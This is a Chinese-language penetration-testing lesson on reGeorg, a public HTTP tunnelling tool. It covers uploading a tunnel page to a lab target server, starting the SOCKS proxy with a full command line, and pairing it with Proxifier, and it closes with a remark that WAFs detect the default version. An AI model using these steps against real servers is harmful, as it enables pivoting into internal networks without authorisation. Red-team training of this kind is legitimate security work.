第九十八课:HTTP隧道reGeorg第二季

reGeorg 的前身是2008年 SensePost 在 BlackHat USA 2008 的 reDuh 延伸与扩展。也是目前安全从业人员使用最多,范围最广,支持多丰富的一款 http 隧道。从本质上讲,可以将 JSP/PHP/ASP/ASPX 等页面上传到目标服务器,便可以访问该服务器后面的主机。

2014年blackhat介绍 https://www.blackhat.com/eu-14/arsenal.html#regeorg

Github: https://github.com/sensepost/reGeorg

攻击机: 192.168.1.5 Debian 192.168.1.4 Windows 7

靶机: 192.168.1.119 Windows 2003

安装:

root@John:~# git clone https://github.com/sensepost/reGeorg.git
Cloning into 'reGeorg'...
remote: Enumerating objects: 85, done.
remote: Total 85 (delta 0), reused 0 (delta 0), pack‐reused 85
Unpacking objects: 100% (85/85), done.
root@John:~# cd reGeorg/
root@John:~reGeorg# ls
LICENSE.html LICENSE.txt README.md reGeorgSocksProxy.py tunnel.ashx tu
nnel.aspx tunnel.js tunnel.jsp tunnel.nosocket.php tunnel.php tunnel.tomcat.5.jsp
root@John:~/reGeorg# python reGeorgSocksProxy.py ‐h
_____
_____ ______ __|___ |__ ______ _____ _____ ______
| | | ___|| ___| || ___|/ \| | | ___|
| \ | ___|| | | || ___|| || \ | | |
|__|\__\|______||______| __||______|\_____/|__|\__\|______|
|_____|
... every office needs a tool like Georg
willem@sensepost.com / @_w_m__
sam@sensepost.com / @trowalts
etienne@sensepost.com / @kamp_staaldraad
usage: reGeorgSocksProxy.py [‐h] [‐l] [‐p] [‐r] ‐u [‐v]
Socks server for reGeorg HTTP(s) tunneller
optional arguments:
‐h, ‐‐help show this help message and exit
‐l , ‐‐listen‐on The default listening address
‐p , ‐‐listen‐port The default listening port
‐r , ‐‐read‐buff Local read buffer, max data to be sent per POST
‐u , ‐‐url The url containing the tunnel script
‐v , ‐‐verbose Verbose output[INFO\|DEBUG]
root@John:~/reGeorg# pip install urllib3
Requirement already satisfied: urllib3 in /usr/lib/python2.7/dist‐packages (1.24)

靶机执行:

以aspx为demo。

攻击机执行:

python reGeorgSocksProxy.py ‐p 8080 ‐l 192.168.1.5 ‐u http://192.168.1.119/tunnel.aspx

Windows下配合Proxifier:

非常遗憾的是,目前大部分waf都会针对默认原装版本的reGeorg。

Micropoor